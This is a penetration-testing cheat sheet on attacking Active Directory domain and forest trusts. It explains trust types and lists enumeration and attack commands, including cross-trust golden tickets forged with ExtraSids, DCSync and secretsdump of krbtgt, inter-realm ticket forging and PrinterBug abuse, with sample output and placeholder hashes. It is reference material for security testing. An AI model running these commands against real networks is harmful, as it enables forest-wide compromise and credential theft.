# Attack Trusts

> *"Note that the Active Directory domain is not the security boundary; the AD forest is."* (Sean Metcalf, [ref](https://adsecurity.org/?p=1640))

* <http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/>
* <http://www.harmj0y.net/blog/redteaming/domain-trusts-were-not-done-yet/>
* <http://www.harmj0y.net/blog/redteaming/domain-trusts-why-you-should-care/>
* <https://habr.com/ru/company/jetinfosystems/blog/466445/>
* <https://xakep.ru/2022/08/10/ad-forest-attack/>

## Theory

* <https://blogs.msmvps.com/acefekay/2016/11/02/active-directory-trusts/>
* <https://github.com/snovvcrash/TrustVisualizer/blob/9dadd852b69b7882577c0ab6ac7f42f539d9c58a/TrustVisualizer.py#L48-L60>
* **Trust** 👉🏻 a link between the authentication systems of two domains.
* **Transitive** trust 👉🏻 the trust is extended to objects which the child domain trusts.
* **Non-transitive** trust 👉🏻 only the child domain itself is trusted.
* **Bidirectional** (two-way) trust 👉🏻 users from both trusting domains can access resources.
* **One-way** trust 👉🏻 only users in a trusted domain can access resources in a trusting domain, not vice-versa (the direction of trust is opposite to the direction of access).

Some trust types:

| Trust Type               | Description                                                                                                                                                     |
| ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Parent-child             | A trust between domains within the same forest. The child domain has a *bidirectional transitive* trust with the parent domain.                                 |
| Cross-link (shortcut)    | A trust between child domains (used to speed up authentication).                                                                                                |
| Tree-root (intra-forest) | A *bidirectional transitive* trust between a forest root domain and a new tree root domain. Created implicitly when a new domain tree is created in the forest. |
| Forest                   | A *transitive* trust between two forest root domains. Enforces SID filtering.                                                                                   |
| External (inter-forest)  | A *non-transitive* trust between two separate domains in separate forests that are not already joined by a forest trust. Enforces SID filtering.                |

## Enumeration

Get forest object:

```
PV2 > Get-NetForest [-Forest megacorp.local]
PV3 > Get-Forest [-Forest megacorp.local]
```

Get all domains in a fores:

```
PV2 > Get-NetForestDomain [-Forest megacorp.local]
PV3 > Get-ForestDomain [-Forest megacorp.local]
```

Enum trusts for current domain via `nltest` and .NET:

```
Cmd > nltest /trusted_domains /v
PS > ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()
```

Enum trusts via Win32 API and LDAP:

```
PV2 > Get-NetDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust -API [-Domain megacorp.local] | ft

PV2 > Get-NetDomainTrust -LDAP [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust [-Domain megacorp.local] | ft
```

Build domain trust mapping:

```
PV2 > Invoke-MapDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrustMapping [-Domain megacorp.local] | ft
```

Transitive trusts resolution:

```
$ python bloodyAD.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' --host 192.168.1.11 get trusts --transitive-trust --dns 192.168.1.11
```

No authentication enumeration via MS-NRPC (Netlogon) with [https://github.com/sud0Ru/NauthNRPC](https://github.com/snovvcrash/PPN/blob/master/pentest/infrastructure/ad/NauthNRPC/README.md):

```
$ python3 nauth.py -t 192.168.1.11
```

### Visualization (yEd)

* <http://www.harmj0y.net/blog/redteaming/domain-trusts-why-you-should-care/>
* <https://github.com/HarmJ0y/TrustVisualizer>
* <https://github.com/snovvcrash/TrustVisualizer>
* <https://www.yworks.com/products/yed>

```
PV2 > Invoke-MapDomainTrust | Export-Csv -NoTypeInformation trusts.csv
PV3 > Get-DomainTrustMapping | Export-Csv -NoTypeInformation trusts.csv
$ git clone https://github.com/snovvcrash/TrustVisualizer && cd TrustVisualizer
$ pip3 install -r requirements.txt
$ python3 TrustVisualizer.py trusts.csv
```

## Request a Foreign User TGT with Rubeus

Having just an RC4/AES keys of a user in target forest (that's a foreign user in target domain, but a native user in current domain), we can request Kerberos tickets manually with Rubeus.

Request TGT for that user in current domain:

```
beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b4d075fd15ba856b4b7f6a13f76133f5f5ffc280685518cad6f732302ce9ac /opsec /nowrap
```

Request inter-realm TGT from current domain to the target domain:

```
beacon> execute-assembly Rubeus.exe asktgs /service:krbtgt/megacorp.external /domain:megacorp.local /dc:DC1.megacorp.local /ticket:<BASE64_TICKET> /nowrap
```

Use inter-realm TGT to request a TGS in the target domain:

```
beacon> execute-assembly Rubeus.exe asktgs /service:cifs/DC1.megacorp.external /domain:megacorp.external /dc:DC1.megacorp.external /ticket:<BASE64_TICKET> /nowrap
```

This [PR](https://github.com/fortra/impacket/pull/1431) helps to use such tickets with Impacket.

## Request an Inter-Realm TGT with Impacket

Request a TGT in current domain:

```
$ getTGT.py -aesKey <AES_KEY> megacorp.local/snovvcrash -dc-ip 192.168.1.11
```

Request an IR TGT for the foreign domain in current domain:

```
$ KRB5CCNAME=snovvcrash.ccache getST.py -spn 'krbtgt/MEGACORP.EXTERNAL' -k -no-pass megacorp.local/snovvcrash -dc-ip 192.168.1.11 -debug
```

Request an ST in foreign domain:

```
$ KRB5CCNAME=snovvcrash_megacorp_external.ccache getST.py -spn 'ldap/DC01.MEGACORP.EXTERNAL' -k -no-pass megacorp.external/snovvcrash -dc-ip 192.168.1.22 -debug
```

## sIDHistory/ExtraSids Hopping

* <https://improsec.com/tech-blog/o83i79jgzk65bbwn1fwib1ela0rl2d>
* <https://www.thehacker.recipes/a-d/movement/trusts#forging-tickets>

Abusing Bidirectional ParentChild (`WITHIN_FOREST`) trust between **child.megacorp.local ⟷ megacorp.local**.

Check if SID filtering is enabled for a trust:

```
Cmd > netdom.exe trust child.megacorp.local /domain:megacorp.local /quarantine
SID filtering is not enabled for this trust. All SIDs presented in an
authentication request from this domain will be honored.
```

### Raise Child

* <http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/>
* <http://www.harmj0y.net/blog/redteaming/the-trustpocalypse/>
* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain>
* <https://github.com/fortra/impacket/blob/master/examples/raiseChild.py>

For creating a cross-trust golden ticket (Golden Ticket + ExtraSid) we'll need:

1. Child domain FQDN (`child.megacorp.local`);
2. Name of the child domain's DC machine account and its RID (`DC01$`, `1337`);
3. SID of the child domain (`S-1-5-21-4266912945-3985045794-2943778634`);
4. SID of the parent domain (`S-1-5-21-2284550090-1208917427-1204316795`);
5. Compomised krbtgt hash from the child domain (`00ff00ff00ff00ff00ff00ff00ff00ff`);
6. ???
7. PROFIT.

**1.** Child domain FQDN:

```
PS > $env:userdnsdomain
CHILD.MEGACORP.LOCAL
```

**2.** Name of the child domain's DC machine account and its RID:

{% tabs %}
{% tab title="Windows" %}

```
PV2 > (Get-NetComputer -ComputerName DC01.child.megacorp.local -FullData | select ObjectSID).ObjectSID
PV3 > (Get-DomainComputer DC01.child.megacorp.local | select ObjectSID).ObjectSID
S-1-5-21-4266912945-3985045794-2943778634-1337
```

{% endtab %}

{% tab title="Linux" %}

```
$ lookupsid.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local | grep SidTypeUser | grep -i DC01
1337: MEGACORP\DC01$ (SidTypeUser)
```

{% endtab %}
{% endtabs %}

**3.** SID of the child domain:

{% tabs %}
{% tab title="Windows" %}

```
PV > Get-DomainSID
S-1-5-21-4266912945-3985045794-2943778634
```

{% endtab %}

{% tab title="Linux" %}

```
$ lookupsid.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local 0 | grep 'Domain SID'
[*] Domain SID is: S-1-5-21-4266912945-3985045794-2943778634
```

{% endtab %}
{% endtabs %}

**4.** SID of the parent domain:

```
PS > (New-Object System.Security.Principal.NTAccount("megacorp.local","krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
S-1-5-21-2284550090-1208917427-1204316795-502
```

Create cross-trust golden ticket:

{% tabs %}
{% tab title="Windows" %}

```
mimikatz # kerberos::golden /domain:child.megacorp.local /user:DC01$ /id:1337 /groups:516 /sid:S-1-5-21-4266912945-3985045794-2943778634 /sids:S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 /krbtgt:00ff00ff00ff00ff00ff00ff00ff00ff /ptt [/startoffset:-10 /endin:60 /renewmax:10080]
```

{% endtab %}

{% tab title="Linux" %}

```
$ ticketer.py -domain child.megacorp.local -domain-sid S-1-5-21-4266912945-3985045794-2943778634 {-nthash <RC4_32> | -aesKey <AES_64> } [-groups 516] [-user-id 1337] [-duration 87600] -extra-sid S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 'DC01$'
```

{% endtab %}
{% endtabs %}

For DCSyncing we'll need only parent domain FQDN (`megacorp.local`):

```
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest())[0].RootDomain.Name
megacorp.local
```

DCSync:

```
mimikatz # lsadump::dcsync /user:megacorp.local\krbtgt /domain:megacorp.local
```

### Inter-Realm TGT Forging

Manually craft an IR TGT injecting a privileged SID (example for `WITHIN_FOREST` trust but can also be adopted for `TREAT_AS_EXTERNAL` [case](#attack-forest-trusts)):

```
$ ticketer.py -spn 'krbtgt/MEGACORP.LOCAL' -nthash <MEGACORP_LOCAL_TRUST_NTHASH> -domain child.megacorp.local -domain-sid <CHILD_MEGACORP_LOCAL_SID> -extra-sid <MEGACORP_LOCAL_SID>-516,S-1-5-9 [-groups 516] [-user-id <MEGACORP_LOCAL_DC01_RID>] 'DC01$'
```

Request an ST for DCSync:

```
$ KRB5CCNAME='DC01$.ccache' getST.py -spn 'CIFS/DC02.megacorp.local' -k -no-pass megacorp.local/'DC01$' -dc-ip 192.168.1.11 -debug
```

DCSync:

```
$ KRB5CCNAME='DC01$_CIFS_DC02.ccache' secretsdump.py -k -no-pass DC02.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt' -debug
```

## UnD + PrinterBug

* <https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/>
* <https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1>
* <https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#breaking-forest-trusts>
* <https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-Spoolsample.ps1>
* <https://github.com/BlackDiverX/WinTools/blob/master/SpoolSample-Printerbug/SpoolSample.exe>

{% content-ref url="kerberos/delegation-abuse/kud" %}
[kud](https://ppn.snovvcra.sh/pentest/infrastructure/ad/kerberos/delegation-abuse/kud)
{% endcontent-ref %}

Can be abused either if **CVE-2019-0683** is not fixed or if `EnableTGTDelegation` is enabled for the trusted forest:

```
Cmd > netdom.exe trust forestB.net /domain:forestA.net /EnableTGTDelegation:Yes
```

## Attack Forest Trusts

* <https://mayfly277.github.io/posts/GOADv2-pwning-part12/>
* <https://exploit.ph/external-trusts-are-evil.html>

List foreign users and users from foreign groups:

```
PV2 > Find-ForeignUser -Domain [-Domain megacorp.local]
PV3 > Get-DomainForeignUser [-Domain megacorp.local]

PV2 > Find-ForeignGroup -Domain [-Domain megacorp.local]
PV3 > Get-DomainForeignGroupMember [-Domain megacorp.local]

PV > Convert-SidToName ...
```

List user accounts from a target domain with SPNs set for [Kerberoasting](https://ppn.snovvcra.sh/pentest/infrastructure/kerberos/roasting#kerberoasting):

```
PV3 > Get-DomainUser -SPN -Domain megacorp.local | ? {$_.samAccountName -ne "krbtgt"} | select samAccountName,memberOf,servicePrincipalName | fl
PS > .\SharpView.exe Get-DomainUser -SPN -Domain megacorp.local -Properties samAccountName,memberOf,servicePrincipalName -Filter '(!(samAccountName=krbtgt))'
```

If SID history is enabled (e. g., if domain is on its migration period, `netdom trust b.net /d:a.net /enablesidhistory:yes`) then the forest trust is treated as *external*.

We can try to locate non-default (with RID greater than 1000) admin account:

```
PV2 > Get-NetGroupMember -GroupName "Administrators" -Domain -Domain b.net
PV3 > Get-DomainGroupMember -Identity "Administrators" -Domain b.net
```

If such an account is a member of a domain local security group (not a global group like `Enterprise Admins` or `Domain Admins`) and allows us to compromise a user or a computer in the target domain, we can create a cross-trust golden ticket for her the same way as described [above](#sidhistory-extrasids-hopping).

### CVE-2020-0665

* <https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/>
* <https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/>
* <https://github.com/dirkjanm/forest-trust-tools>
